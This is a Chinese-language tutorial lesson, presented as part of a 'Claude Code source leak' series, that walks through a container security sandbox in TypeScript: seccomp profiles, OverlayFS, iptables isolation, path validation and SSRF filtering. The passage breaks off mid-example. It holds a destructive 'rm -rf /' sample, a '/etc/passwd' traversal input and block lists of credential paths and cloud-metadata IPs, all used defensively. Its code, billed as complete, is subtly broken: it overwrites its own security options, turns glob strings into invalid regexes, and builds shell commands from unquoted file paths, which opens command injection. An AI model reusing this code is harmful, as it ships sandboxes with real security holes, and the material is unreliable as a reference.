Claude Code 源码泄露之五:安全沙盒实现

第 5 课:安全沙盒实现

课程目标

通过本课程,你将:

  • 深入理解容器化沙盒的架构设计和技术原理
  • 掌握文件系统虚拟化的完整实现方案
  • 学习网络隔离和防火墙配置的技术细节
  • 了解进程资源限制的 cgroups 技术
  • 学习 CVE-2025-59536 远程代码执行漏洞的完整分析和修复
  • 能够设计和实现自己的安全沙盒系统
  • 掌握 eBPF 系统调用监控的最佳实践

5.1 沙盒架构设计目标

为什么需要沙盒?

没有沙盒的后果

复制代码
用户:帮我测试这个命令
AI: rm -rf /
结果:主机系统被摧毁 😱

有了沙盒

复制代码
用户:帮我测试这个命令
AI: [在隔离环境中执行]
    ✓ 命令已在沙盒中执行
    ✓ 不影响主机系统

沙盒设计的四大目标

隔离性
Docker 容器
命名空间
cgroups
透明性
虚拟文件系统
代理层
可控性
细粒度权限
资源限制
可审计性
系统调用追踪
日志记录

1. 隔离性 (Isolation)

要求:沙盒内的操作不影响主机系统

实现技术

  • 📦 Docker 容器:进程、网络、文件系统隔离
  • 🔒 Linux 命名空间:PID、Network、Mount、UTS、IPC、User
  • cgroups:CPU、内存、IO 资源限制
  • 🛡️ seccomp:系统调用过滤
  • 🔐 AppArmor/SELinux:强制访问控制

隔离级别对比

隔离方式 隔离程度 性能开销 安全性
Docker 容器 低 (~2%) 中高
VM 虚拟机 极高 中 (~10%) 极高
chroot 极低
Firejail

2. 透明性 (Transparency)

要求:对合法用户无感知

实现技术

  • 📂 UnionFS:联合文件系统,分层存储
  • 🔀 OverlayFS:合并多个目录为一个视图
  • 🎭 FUSE:用户空间文件系统
  • 🔄 Bind Mount:目录映射

示例

bash 复制代码
# OverlayFS 示例
mkdir -p /sandbox/{lowerdir,upperdir,workdir,merged}

mount -t overlay overlay \
  -o lowerdir=/sandbox/lowerdir,\
upperdir=/sandbox/upperdir,\
workdir=/sandbox/workdir \
  /sandbox/merged

# merged 目录现在包含:
# - lowerdir 的只读内容(基础系统)
# - upperdir 的可写内容(用户修改)

3. 可控性 (Controllability)

要求:细粒度的资源访问控制

实现技术

  • 🎯 白名单机制:默认拒绝,按需允许
  • ⏱️ 时间限制:操作超时自动终止
  • 📊 配额管理:磁盘、带宽限制
  • 🔑 能力集控制:Linux Capabilities

4. 可审计性 (Auditability)

要求:所有操作可追溯

实现技术

  • 📝 审计日志:完整的操作记录
  • 🔍 eBPF 监控:内核级系统调用追踪
  • 📊 指标收集:Prometheus + Grafana
  • 🚨 实时告警:异常行为检测

5.2 沙盒技术选型对比

主流沙盒技术对比

typescript 复制代码
// packages/sandbox/src/sandbox-comparison.ts

interface SandboxTechnology {
  name: string;
  type: 'container' | 'vm' | 'syscall-filter' | 'filesystem';
  isolationLevel: 'low' | 'medium' | 'high' | 'very-high';
  performanceOverhead: number; // 百分比
  securityRating: number; // 1-10
  useCases: string[];
  pros: string[];
  cons: string[];
}

const technologies: SandboxTechnology[] = [
  {
    name: 'Docker',
    type: 'container',
    isolationLevel: 'high',
    performanceOverhead: 2,
    securityRating: 7,
    useCases: [
      '应用部署',
      'CI/CD',
      '开发环境',
      '代码执行沙盒',
    ],
    pros: [
      '轻量级,启动快',
      '生态完善,工具丰富',
      '资源开销小',
      '易于编排和管理',
    ],
    cons: [
      '容器逃逸风险',
      '需要 root 权限',
      '内核共享,存在攻击面',
    ],
  },
  
  {
    name: 'gVisor',
    type: 'container',
    isolationLevel: 'very-high',
    performanceOverhead: 15,
    securityRating: 9,
    useCases: [
      '多租户环境',
      '不可信代码执行',
      '高安全需求场景',
    ],
    pros: [
      '用户空间内核,隔离性强',
      '系统调用拦截和模拟',
      '兼容 Docker API',
      '防止容器逃逸',
    ],
    cons: [
      '性能开销较大',
      '某些系统调用不支持',
      '调试复杂',
    ],
  },
  
  {
    name: 'Kata Containers',
    type: 'vm',
    isolationLevel: 'very-high',
    performanceOverhead: 10,
    securityRating: 9,
    useCases: [
      '云原生安全',
      '多租户隔离',
      '敏感工作负载',
    ],
    pros: [
      '真正的 VM 隔离',
      '硬件虚拟化支持',
      '兼容 OCI 标准',
      '快速启动',
    ],
    cons: [
      '需要虚拟化支持',
      '资源占用较多',
      '复杂性高',
    ],
  },
  
  {
    name: 'Firejail',
    type: 'syscall-filter',
    isolationLevel: 'medium',
    performanceOverhead: 1,
    securityRating: 5,
    useCases: [
      '桌面应用沙盒',
      '浏览器隔离',
      '简单隔离需求',
    ],
    pros: [
      '配置简单',
      '性能开销极小',
      '无需 root(部分功能)',
      '预定义配置文件',
    ],
    cons: [
      '隔离性有限',
      '依赖 seccomp',
      '不适合高安全场景',
    ],
  },
  
  {
    name: 'chroot',
    type: 'filesystem',
    isolationLevel: 'low',
    performanceOverhead: 0,
    securityRating: 2,
    useCases: [
      '简单的文件系统隔离',
      '构建环境',
      '遗留系统',
    ],
    pros: [
      '零性能开销',
      '内核原生支持',
      '实现简单',
    ],
    cons: [
      '容易被绕过',
      '仅隔离文件系统',
      '不隔离进程和网络',
      'root 用户可以逃逸',
    ],
  },
  
  {
    name: 'eBPF + seccomp',
    type: 'syscall-filter',
    isolationLevel: 'medium',
    performanceOverhead: 3,
    securityRating: 7,
    useCases: [
      '系统调用过滤',
      '运行时监控',
      '行为分析',
    ],
    pros: [
      '内核级监控',
      '高性能',
      '灵活可编程',
      '实时拦截',
    ],
    cons: [
      '配置复杂',
      '需要内核支持',
      '调试困难',
    ],
  },
];

/**
 * Claude Code 的选择:Docker + gVisor + eBPF 多层防护
 */
export const CLAUDE_CODE_SANDBOX_CONFIG = {
  primary: 'Docker',        // 主要隔离
  enhanced: 'gVisor',       // 增强隔离(可选)
  monitoring: 'eBPF',       // 监控层
  filtering: 'seccomp',     // 系统调用过滤
  mandatory: 'AppArmor',    // 强制访问控制
};

/**
 * 为什么选择多层防护?
 * 
 * 1. Docker 提供基础隔离(足够应对 90% 场景)
 * 2. gVisor 在高危操作时启用(如执行未知代码)
 * 3. eBPF 提供实时监控和审计
 * 4. seccomp 阻止危险系统调用
 * 5. AppArmor 提供额外的 MAC 保护
 * 
 * 深度防御策略:即使一层被突破,还有其他层保护
 */

5.3 文件系统沙盒

虚拟文件系统架构

用户进程
VFS 虚拟文件系统
Overlay 层
可写层 upperdir
只读层 lowerdir
基础镜像
只读文件系统
Cow 写时复制
临时存储
绑定挂载
项目目录
临时目录
阻止路径
系统路径 /etc, /usr
敏感路径 ~/.ssh, ~/.aws

完整实现

typescript 复制代码
// packages/sandbox/src/filesystem/virtual-filesystem.ts

import Docker from 'dockerode';
import { spawn } from 'child_process';
import { EventEmitter } from 'events';

export interface VirtualFileSystemConfig {
  // 基础镜像
  baseImage: string;
  
  // 只读层(基础系统文件)
  readOnlyLayers: string[];
  
  // 可写层(用户数据)
  writableLayer: string;
  
  // 绑定挂载(外部目录映射)
  bindMounts: BindMountConfig[];
  
  // 阻止的路径(黑名单)
  blockedPaths: string[];
  
  // 临时目录配置
  tempDir: {
    enabled: boolean;
    sizeLimit: number; // 字节
    cleanupOnExit: boolean;
  };
}

export interface BindMountConfig {
  // 主机路径
  hostPath: string;
  
  // 容器内路径
  containerPath: string;
  
  // 读写模式
  mode: 'ro' | 'rw';
  
  // SELinux/AppArmor 标签
  selinuxLabel?: 'z' | 'Z';
}

export class VirtualFileSystem extends EventEmitter {
  private config: VirtualFileSystemConfig;
  private docker: Docker;
  private container?: Docker.Container;
  private overlayMountPoint?: string;
  
  constructor(config: VirtualFileSystemConfig) {
    super();
    this.config = config;
    this.docker = new Docker();
  }
  
  /**
   * 初始化虚拟文件系统
   */
  async initialize(): Promise<void> {
    try {
      // 1. 创建分层目录结构
      await this.createLayerDirectories();
      
      // 2. 拉取基础镜像
      await this.pullBaseImage();
      
      // 3. 创建容器(但不启动)
      await this.createContainer();
      
      this.emit('initialized');
    } catch (error) {
      this.emit('error', error);
      throw error;
    }
  }
  
  /**
   * 创建分层目录
   */
  private async createLayerDirectories(): Promise<void> {
    const fs = await import('fs/promises');
    const path = await import('path');
    
    // 创建工作目录
    const workDir = path.join(this.config.writableLayer, 'work');
    const upperDir = path.join(this.config.writableLayer, 'upper');
    const mergedDir = path.join(this.config.writableLayer, 'merged');
    
    await fs.mkdir(workDir, { recursive: true });
    await fs.mkdir(upperDir, { recursive: true });
    await fs.mkdir(mergedDir, { recursive: true });
    
    // 挂载 OverlayFS
    await this.mountOverlayFS(upperDir, workDir, mergedDir);
    
    this.overlayMountPoint = mergedDir;
  }
  
  /**
   * 挂载 OverlayFS
   */
  private async mountOverlayFS(
    upperDir: string,
    workDir: string,
    mergedDir: string
  ): Promise<void> {
    return new Promise((resolve, reject) => {
      const lowerDirs = this.config.readOnlyLayers.join(':');
      
      const mountArgs = [
        '-t', 'overlay',
        'overlay',
        mergedDir,
        '-o',
        `lowerdir=${lowerDirs},upperdir=${upperDir},workdir=${workDir}`,
      ];
      
      const mount = spawn('mount', mountArgs, {
        stdio: 'pipe',
      });
      
      mount.on('close', (code) => {
        if (code === 0) {
          resolve();
        } else {
          reject(new Error(`mount 失败,退出码:${code}`));
        }
      });
      
      mount.stderr?.on('data', (data) => {
        console.error('mount error:', data.toString());
      });
    });
  }
  
  /**
   * 创建 Docker 容器
   */
  private async createContainer(): Promise<void> {
    const binds: string[] = [];
    
    // 添加绑定挂载
    for (const mount of this.config.bindMounts) {
      const mode = mount.mode === 'ro' ? 'ro' : 'rw';
      const label = mount.selinuxLabel || '';
      binds.push(`${mount.hostPath}:${mount.containerPath}:${mode}${label}`);
    }
    
    // 添加阻止路径的覆盖(用空目录或 tmpfs)
    for (const blockedPath of this.config.blockedPaths) {
      binds.push(`tmpfs:${blockedPath}:ro,noexec,nosuid,nodev,size=1m`);
    }
    
    const container = await this.docker.createContainer({
      Image: this.config.baseImage,
      Cmd: ['/bin/sh', '-c', 'while true; do sleep 1000; done'],
      
      HostConfig: {
        // 绑定挂载
        Binds: binds,
        
        // 只读根文件系统
        ReadonlyRootfs: true,
        
        // 安全选项
        SecurityOpt: [
          'no-new-privileges', // 禁止提权
          'apparmor=docker-default', // AppArmor 配置文件
        ],
        
        // 系统调用过滤
        SecurityOpt: [
          'seccomp=' + this.getSeccompProfile(),
        ],
        
        // 删除所有能力,只添加必要的
        CapDrop: ['ALL'],
        CapAdd: [
          'CHOWN',      // 修改文件所有者
          'SETUID',     // 设置 UID
          'SETGID',     // 设置 GID
        ],
        
        // 资源限制
        Memory: 512 * 1024 * 1024,           // 512MB
        MemorySwap: 512 * 1024 * 1024,       // 不允许 swap
        CpuShares: 512,                      // CPU 份额
        PidsLimit: 100,                      // 最多 100 个进程
        
        // 网络隔离(稍后配置)
        NetworkMode: 'none',
        
        // 自动清理
        AutoRemove: false,
      },
      
      // 环境变量
      Env: [
        'PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin',
        'NODE_ENV=production',
      ],
      
      // 工作目录
      WorkingDir: '/workspace',
      
      // 用户(非 root)
      User: '1000:1000',
    });
    
    this.container = container;
  }
  
  /**
   * 获取 seccomp 配置文件
   */
  private getSeccompProfile(): string {
    // 自定义 seccomp 配置文件
    const profile = {
      defaultAction: 'SCMP_ACT_ERRNO',
      architectures: ['SCMP_ARCH_X86_64', 'SCMP_ARCH_X86', 'SCMP_ARCH_X32'],
      syscalls: [
        {
          names: [
            'accept', 'access', 'alarm', 'bind', 'brk', 'clock_getres',
            'clock_gettime', 'close', 'connect', 'dup', 'dup2', 'exit',
            'exit_group', 'faccessat', 'fchmod', 'fchmodat', 'fchown',
            'fchownat', 'fcntl', 'fstat', 'ftruncate', 'getcwd', 'getdents',
            'getegid', 'geteuid', 'getgid', 'getpeername', 'getpid',
            'getppid', 'getsockname', 'getsockopt', 'getuid', 'lseek',
            'mkdir', 'mmap', 'mprotect', 'open', 'pipe', 'poll', 'read',
            'readlink', 'recvfrom', 'rename', 'rmdir', 'select', 'sendto',
            'set_robust_list', 'setsockopt', 'shutdown', 'socket', 'stat',
            'unlink', 'wait4', 'write',
          ],
          action: 'SCMP_ACT_ALLOW',
        },
      ],
    };
    
    // 明确禁止的危险系统调用
    const dangerousSyscalls = [
      'ptrace',      // 调试其他进程
      'mount',       // 挂载文件系统
      'umount2',     // 卸载文件系统
      'reboot',      // 重启系统
      'swapon',      // 启用 swap
      'swapoff',     // 禁用 swap
      'init_module', // 加载内核模块
      'delete_module', // 删除内核模块
      'kexec_load',  // 加载新内核
      'setns',       // 加入命名空间
      'unshare',     // 创建新命名空间
    ];
    
    // 这些系统调用会被拒绝
    profile.syscalls.push({
      names: dangerousSyscalls,
      action: 'SCMP_ACT_ERRNO',
    });
    
    return JSON.stringify(profile);
  }
  
  /**
   * 启动容器
   */
  async start(): Promise<void> {
    if (!this.container) {
      throw new Error('容器未创建');
    }
    
    await this.container.start();
    this.emit('started');
  }
  
  /**
   * 在沙盒中执行命令
   */
  async executeCommand(command: string): Promise<ExecutionResult> {
    if (!this.container) {
      throw new Error('容器未创建');
    }
    
    const startTime = Date.now();
    
    try {
      // 创建 exec 实例
      const exec = await this.container.exec({
        Cmd: ['/bin/sh', '-c', command],
        AttachStdout: true,
        AttachStderr: true,
        User: '1000:1000', // 非 root 用户
        WorkingDir: '/workspace',
        Env: [
          'PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin',
        ],
      });
      
      // 启动 exec
      const stream = await exec.start({
        Detach: false,
        Tty: false,
      });
      
      // 收集输出
      let stdout = '';
      let stderr = '';
      
      await new Promise((resolve, reject) => {
        stream.on('data', (chunk) => {
          // Docker stream 格式:第一个字节是类型
          const type = chunk[0];
          const data = chunk.slice(8).toString();
          
          if (type === 1) {
            stdout += data;
          } else if (type === 2) {
            stderr += data;
          }
        });
        
        stream.on('end', resolve);
        stream.on('error', reject);
      });
      
      // 等待完成并获取退出码
      const inspectResult = await exec.inspect();
      const exitCode = inspectResult.ExitCode ?? -1;
      
      return {
        success: exitCode === 0,
        stdout,
        stderr,
        exitCode,
        duration: Date.now() - startTime,
      };
      
    } catch (error) {
      return {
        success: false,
        stdout: '',
        stderr: error instanceof Error ? error.message : String(error),
        exitCode: -1,
        duration: Date.now() - startTime,
      };
    }
  }
  
  /**
   * 读取沙盒中的文件
   */
  async readFile(filePath: string, options?: ReadFileOptions): Promise<string> {
    const result = await this.executeCommand(`cat ${filePath}`);
    
    if (!result.success) {
      throw new Error(`读取文件失败:${result.stderr}`);
    }
    
    return result.stdout;
  }
  
  /**
   * 写入文件到沙盒
   */
  async writeFile(filePath: string, content: string): Promise<void> {
    // 确保父目录存在
    const dirName = filePath.substring(0, filePath.lastIndexOf('/'));
    await this.executeCommand(`mkdir -p ${dirName}`);
    
    // 写入文件(使用 heredoc 避免转义问题)
    const escapedContent = content.replace(/'/g, "'\"'\"'");
    const result = await this.executeCommand(
      `cat > ${filePath} << 'EOF'\n${escapedContent}\nEOF`
    );
    
    if (!result.success) {
      throw new Error(`写入文件失败:${result.stderr}`);
    }
  }
  
  /**
   * 清理资源
   */
  async cleanup(): Promise<void> {
    if (this.container) {
      try {
        await this.container.stop({ t: 5 });
        await this.container.remove({ force: true });
      } catch (error) {
        console.error('清理容器失败:', error);
      }
    }
    
    // 卸载 OverlayFS
    if (this.overlayMountPoint) {
      await this.unmountOverlayFS(this.overlayMountPoint);
    }
    
    this.emit('cleaned');
  }
  
  private async unmountOverlayFS(mountPoint: string): Promise<void> {
    return new Promise((resolve, reject) => {
      const umount = spawn('umount', [mountPoint]);
      
      umount.on('close', (code) => {
        if (code === 0) {
          resolve();
        } else {
          reject(new Error(`umount 失败,退出码:${code}`));
        }
      });
    });
  }
}

export interface ExecutionResult {
  success: boolean;
  stdout: string;
  stderr: string;
  exitCode: number;
  duration: number;
}

export interface ReadFileOptions {
  encoding?: string;
  maxSize?: number;
}

路径遍历攻击防护

typescript 复制代码
// packages/sandbox/src/filesystem/path-validation.ts

import * as path from 'path';
import * as fs from 'fs/promises';

/**
 * 路径验证器:防止路径遍历攻击
 */
export class PathValidator {
  private allowedRoots: string[];
  private blockedPatterns: RegExp[];
  
  constructor(allowedRoots: string[], blockedPatterns?: string[]) {
    this.allowedRoots = allowedRoots.map(p => path.resolve(p));
    this.blockedPatterns = (blockedPatterns || []).map(p => new RegExp(p));
  }
  
  /**
   * 验证并解析路径
   */
  async validateAndResolve(userPath: string): Promise<PathValidationResult> {
    // 1. 规范化路径
    const normalized = path.normalize(userPath);
    
    // 2. 检查明显的路径遍历
    if (normalized.includes('..')) {
      return {
        valid: false,
        reason: '路径包含遍历符号 ".."',
        severity: 'high',
      };
    }
    
    // 3. 解析为绝对路径
    const resolved = path.resolve(normalized);
    
    // 4. 检查是否在允许的根目录下
    const isAllowed = this.allowedRoots.some(root => 
      resolved.startsWith(root + path.sep) || resolved === root
    );
    
    if (!isAllowed) {
      return {
        valid: false,
        reason: `路径不在允许范围内:${resolved}`,
        severity: 'high',
      };
    }
    
    // 5. 检查是否匹配阻止模式
    for (const pattern of this.blockedPatterns) {
      if (pattern.test(resolved)) {
        return {
          valid: false,
          reason: `路径匹配阻止模式:${pattern}`,
          severity: 'medium',
        };
      }
    }
    
    // 6. 检查符号链接(防止 symlink 攻击)
    const stats = await fs.lstat(resolved).catch(() => null);
    
    if (stats?.isSymbolicLink()) {
      const linkTarget = await fs.readlink(resolved);
      const realPath = await fs.realpath(resolved);
      
      // 递归验证链接目标
      return this.validateAndResolve(realPath);
    }
    
    return {
      valid: true,
      resolvedPath: resolved,
      relativePath: this.getRelativePath(resolved),
    };
  }
  
  /**
   * 获取相对于允许根目录的路径
   */
  private getRelativePath(resolved: string): string {
    for (const root of this.allowedRoots) {
      if (resolved.startsWith(root)) {
        return path.relative(root, resolved);
      }
    }
    return resolved;
  }
}

export interface PathValidationResult {
  valid: boolean;
  reason?: string;
  resolvedPath?: string;
  relativePath?: string;
  severity?: 'low' | 'medium' | 'high' | 'critical';
}

/**
 * 使用示例
 */
async function example() {
  const validator = new PathValidator(
    ['/workspace', '/tmp/sandbox'],
    [
      '**/.env*',
      '**/*.pem',
      '**/.ssh/**',
    ]
  );
  
  // 合法路径
  const result1 = await validator.validateAndResolve('/workspace/src/index.ts');
  console.log(result1); // { valid: true, resolvedPath: '/workspace/src/index.ts' }
  
  // 路径遍历攻击
  const result2 = await validator.validateAndResolve('/workspace/../../../etc/passwd');
  console.log(result2); // { valid: false, reason: '路径包含遍历符号 " .."' }
  
  // 阻止的模式
  const result3 = await validator.validateAndResolve('/workspace/.env.production');
  console.log(result3); // { valid: false, reason: '路径匹配阻止模式' }
}

5.4 网络沙盒

网络隔离架构

容器内进程
veth pair
网桥 docker0
NAT 转发
主机网络
iptables/nftables 防火墙
允许规则
阻止规则
HTTP/HTTPS 出站
DNS 查询
入站连接
内网访问
云元数据服务

完整的网络隔离实现

typescript 复制代码
// packages/sandbox/src/network/network-isolation.ts

import { spawn } from 'child_process';
import { promisify } from 'util';

const exec = promisify(require('child_process').exec);

export interface NetworkIsolationConfig {
  // 网络模式
  networkMode: 'none' | 'bridge' | 'host' | 'custom';
  
  // 允许的出站端口
  allowedOutboundPorts?: number[];
  
  // 允许的域名/IP
  allowedDestinations?: string[];
  
  // 阻止的域名/IP
  blockedDestinations?: string[];
  
  // DNS 配置
  dnsConfig: {
    servers: string[];
    useHostResolver: boolean;
  };
  
  // 防火墙规则
  firewallRules: FirewallRule[];
}

export interface FirewallRule {
  chain: 'INPUT' | 'OUTPUT' | 'FORWARD';
  action: 'ACCEPT' | 'DROP' | 'REJECT';
  protocol?: 'tcp' | 'udp' | 'icmp';
  sourcePort?: number;
  destinationPort?: number;
  sourceIP?: string;
  destinationIP?: string;
  comment?: string;
}

export class NetworkIsolator {
  private config: NetworkIsolationConfig;
  private containerId?: string;
  private networkName?: string;
  
  constructor(config: NetworkIsolationConfig) {
    this.config = config;
  }
  
  /**
   * 创建隔离网络
   */
  async createIsolatedNetwork(): Promise<void> {
    const networkName = `sandbox-${Date.now()}`;
    
    // 创建自定义网络
    await exec(`
      docker network create \\
        --driver bridge \\
        --opt com.docker.network.bridge.enable_ip_masquerade=true \\
        --opt com.docker.network.bridge.host_binding_ipv4=0.0.0.0 \\
        --internal \\
        ${networkName}
    `);
    
    this.networkName = networkName;
  }
  
  /**
   * 配置容器的网络命名空间
   */
  async configureContainerNetwork(containerId: string): Promise<void> {
    this.containerId = containerId;
    
    // 将容器连接到隔离网络
    if (this.networkName) {
      await exec(`docker network connect ${this.networkName} ${containerId}`);
    }
    
    // 在容器内配置防火墙规则
    await this.setupFirewallRules();
    
    // 配置 DNS
    await this.configureDNS();
  }
  
  /**
   * 设置 iptables 防火墙规则
   */
  private async setupFirewallRules(): Promise<void> {
    if (!this.containerId) {
      throw new Error('容器 ID 未设置');
    }
    
    // 获取容器的网络信息
    const { stdout: inspectOutput } = await exec(
      `docker inspect ${this.containerId} --format '{{.NetworkSettings.IPAddress}}'`
    );
    const containerIP = inspectOutput.trim();
    
    // 默认策略:阻止所有
    await this.executeIptablesCommand(
      `-A FORWARD -s ${containerIP} -j DROP`,
      'filter'
    );
    
    // 允许已建立的连接
    await this.executeIptablesCommand(
      `-A FORWARD -s ${containerIP} -m state --state ESTABLISHED,RELATED -j ACCEPT`,
      'filter'
    );
    
    // 允许 DNS 查询(UDP 53)
    await this.executeIptablesCommand(
      `-A FORWARD -s ${containerIP} -p udp --dport 53 -j ACCEPT`,
      'filter'
    );
    
    // 允许 HTTP/HTTPS
    if (this.config.allowedOutboundPorts) {
      for (const port of this.config.allowedOutboundPorts) {
        await this.executeIptablesCommand(
          `-A FORWARD -s ${containerIP} -p tcp --dport ${port} -j ACCEPT`,
          'filter'
        );
      }
    }
    
    // 阻止访问内网
    const privateRanges = [
      '10.0.0.0/8',
      '172.16.0.0/12',
      '192.168.0.0/16',
      '127.0.0.0/8',
      '169.254.0.0/16',
    ];
    
    for (const range of privateRanges) {
      await this.executeIptablesCommand(
        `-A FORWARD -s ${containerIP} -d ${range} -j DROP`,
        'filter'
      );
    }
    
    // 阻止云元数据服务
    const cloudMetadataIPs = [
      '169.254.169.254', // AWS, GCP, Azure
      '169.254.169.253',
    ];
    
    for (const ip of cloudMetadataIPs) {
      await this.executeIptablesCommand(
        `-A FORWARD -s ${containerIP} -d ${ip} -j DROP`,
        'filter'
      );
    }
    
    // 应用自定义规则
    for (const rule of this.config.firewallRules) {
      await this.applyFirewallRule(rule, containerIP);
    }
  }
  
  /**
   * 执行 iptables 命令
   */
  private async executeIptablesCommand(
    args: string,
    table: string = 'filter'
  ): Promise<void> {
    const command = `iptables -t ${table} ${args}`;
    
    try {
      await exec(command);
    } catch (error) {
      console.error(`执行 iptables 失败:${command}`, error);
      throw error;
    }
  }
  
  /**
   * 应用单条防火墙规则
   */
  private async applyFirewallRule(
    rule: FirewallRule,
    containerIP: string
  ): Promise<void> {
    let args = `-A ${rule.chain}`;
    
    if (rule.protocol) {
      args += ` -p ${rule.protocol}`;
    }
    
    if (rule.sourceIP || rule.sourcePort) {
      args += ` -s ${rule.sourceIP || containerIP}`;
      if (rule.sourcePort) {
        args += ` --sport ${rule.sourcePort}`;
      }
    }
    
    if (rule.destinationIP || rule.destinationPort) {
      if (rule.destinationIP) {
        args += ` -d ${rule.destinationIP}`;
      }
      if (rule.destinationPort) {
        args += ` --dport ${rule.destinationPort}`;
      }
    }
    
    args += ` -j ${rule.action}`;
    
    if (rule.comment) {
      args += ` -m comment --comment "${rule.comment}"`;
    }
    
    await this.executeIptablesCommand(args);
  }
  
  /**
   * 配置 DNS
   */
  private async configureDNS(): Promise<void> {
    if (!this.containerId) return;
    
    const dnsServers = this.config.dnsConfig.servers.join(' ');
    
    // 在容器内配置 DNS
    await this.executeInContainer(`
      echo "nameserver ${dnsServers}" > /etc/resolv.conf
      
      # 阻止直接修改 resolv.conf
      chattr +i /etc/resolv.conf 2>/dev/null || true
    `);
  }
  
  /**
   * 在容器内执行命令
   */
  private async executeInContainer(command: string): Promise<void> {
    await exec(`docker exec ${this.containerId} sh -c '${command}'`);
  }
  
  /**
   * 清理网络资源
   */
  async cleanup(): Promise<void> {
    if (this.networkName) {
      try {
        await exec(`docker network rm ${this.networkName}`);
      } catch (error) {
        console.error('清理网络失败:', error);
      }
    }
  }
}

SSRF 防护深度实现

typescript 复制代码
// packages/sandbox/src/network/ssrf-protection.ts

import * as dns from 'dns';
import * as net from 'net';
import { URL } from 'url';

/**
 * SSRF(Server-Side Request Forgery)防护
 * 
 * 防止攻击者利用服务器发起对内网、云服务的请求
 */
export class SSRFProtection {
  // 云服务商元数据服务 IP
  private static readonly CLOUD_METADATA_IPS = new Set([
    '169.254.169.254', // AWS, GCP, Azure
    '169.254.169.253', // Azure
    '100.100.100.200', // Alibaba Cloud
    '168.63.129.16',   // Azure DNS
  ]);
  
  // 云服务商元数据服务域名
  private static readonly CLOUD_METADATA_DOMAINS = [
    'metadata.google.internal',
    'instance-data.aws.internal',
    'metadata.azure.com',
  ];
  
  // IPv4 私有地址范围
  private static readonly IPV4_PRIVATE_RANGES = [
    { start: '10.0.0.0', end: '10.255.255.255' },     // 10.0.0.0/8
    { start: '172.16.0.0', end: '172.31.255.255' },   // 172.16.0.0/12
    { start: '192.168.0.0', end: '192.168.255.255' }, // 192.168.0.0/16
    { start: '127.0.0.0', end: '127.255.255.255' },   // 127.0.0.0/8
    { start: '0.0.0.0', end: '0.255.255.255' },       // 0.0.0.0/8
    { start: '169.254.0.0', end: '169.254.255.255' }, // 169.254.0.0/16
  ];
  
  // IPv6 私有地址范围
  private static readonly IPV6_PRIVATE_RANGES = [
    '::1',                          // localhost
    'fc00::/7',                     // Unique Local
    'fe80::/10',                    // Link-Local
  ];
  
  /**
   * 验证 URL 是否安全
   */
  static async validateURL(urlString: string): Promise<URLValidationResult> {
    try {
      const url = new URL(urlString);
      
      // 1. 协议检查
      if (!['http:', 'https:'].includes(url.protocol)) {
        return {
          safe: false,
          reason: `不支持的协议:${url.protocol}`,
          risk: 'high',
        };
      }
      
      // 2. 检查是否是 IP 地址
      if (net.isIP(url.hostname)) {
        return this.validateIPAddress(url.hostname);
      }
      
      // 3. 解析域名
      const ipAddresses = await this.resolveHostname(url.hostname);
      
      // 4. 验证所有解析出的 IP
      for (const ip of ipAddresses) {
        const ipValidation = this.validateIPAddress(ip);
        
        if (!ipValidation.safe) {
          return ipValidation;
        }
      }
      
      // 5. 检查域名是否在黑名单中
      if (this.isBlockedDomain(url.hostname)) {
        return {
          safe: false,
          reason: `域名在黑名单中:${url.hostname}`,
          risk: 'high',
        };
      }
      
      return {
        safe: true,
        reason: '验证通过',
        risk: 'low',
      };
      
    } catch (error) {
      return {
        safe: false,
        reason: `URL 解析失败:${error instanceof Error ? error.message : String(error)}`,
        risk: 'medium',
      };
    }
  }
  
  /**
   * 验证 IP 地址
   */
  static validateIPAddress(ip: string): IPAddressValidationResult {
    // 处理 IPv4-mapped IPv6
    if (ip.startsWith('::ffff:')) {
      ip = ip.slice(7);
    }
    
    // 检查是否是云元数据 IP
    if (this.CLOUD_METADATA_IPS.has(ip)) {
      return {
        safe: false,
        reason: `禁止访问云元数据服务:${ip}`,
        risk: 'critical',
        category: 'cloud_metadata',
      };
    }
    
    // 检查 IPv4 私有地址
    if (net.isIPv4(ip)) {
      if (this.isPrivateIPv4(ip)) {
        return {
          safe: false,
          reason: `禁止访问内网地址:${ip}`,
          risk: 'high',
          category: 'private_network',
        };
      }
    }
    
    // 检查 IPv6 私有地址
    if (net.isIPv6(ip)) {
      if (this.isPrivateIPv6(ip)) {
        return {
          safe: false,
          reason: `禁止访问内网 IPv6 地址:${ip}`,
          risk: 'high',
          category: 'private_network',
        };
      }
    }
    
    return {
      safe: true,
      reason: 'IP 地址验证通过',
      risk: 'low',
      category: 'public_ip',
    };
  }
  
  /**
   * 解析主机名
   */
  private static async resolveHostname(hostname: string): Promise<string[]> {
    // 检查是否是云元数据域名
    for (const domain of this.CLOUD_METADATA_DOMAINS) {
      if (hostname === domain || hostname.endsWith('.' + domain)) {
        throw new Error(`禁止解析云元数据域名:${domain}`);
      }
    }
    
    // 使用 DNS 解析
    const addresses = await dns.promises.resolve(hostname);
    
    return addresses;
  }
  
  /**
   * 检查是否是 IPv4 私有地址
   */
  private static isPrivateIPv4(ip: string): boolean {
    const ipNum = this.ipv4ToNumber(ip);
    
    for (const range of this.IPV4_PRIVATE_RANGES) {
      const startNum = this.ipv4ToNumber(range.start);
      const endNum = this.ipv4ToNumber(range.end);
      
      if (ipNum >= startNum && ipNum <= endNum) {
        return true;
      }
    }
    
    return false;
  }
  
  /**
   * 检查是否是 IPv6 私有地址
   */
  private static isPrivateIPv6(ip: string): boolean {
    for (const range of this.IPV6_PRIVATE_RANGES) {
      if (ip.startsWith(range.split('/')[0])) {
        return true;
      }
    }
    
    return false;
  }
  
  /**
   * IPv4 转数字
   */
  private static ipv4ToNumber(ip: string): number {
    return ip.split('.').reduce((acc, octet) => {
      return (acc << 8) + parseInt(octet, 10);
    }, 0);
  }
  
  /**
   * 检查是否是阻止的域名
   */
  private static isBlockedDomain(hostname: string): boolean {
    const blockedDomains = [
      'localhost',
      '127.0.0.1',
      '0.0.0.0',
    ];
    
    return blockedDomains.some(domain => 
      hostname === domain || hostname.endsWith('.' + domain)
    );
  }
}

export interface URLValidationResult {
  safe: boolean;
  reason: string;
  risk: 'low' | 'medium' | 'high' | 'critical';
}

export interface IPAddressValidationResult extends URLValidationResult {
  category: 'cloud_metadata' | 'private_network' | 'public_ip' | 'localhost';
}

/**
 * 使用示例
 */
async function ssrfExample() {
  // 合法的公网 URL
  const result1 = await SSRFProtection.validateURL('https://api.github.com/users/octocat');
  console.log(result1); // { safe: true, reason: '验证通过', risk: 'low' }
  
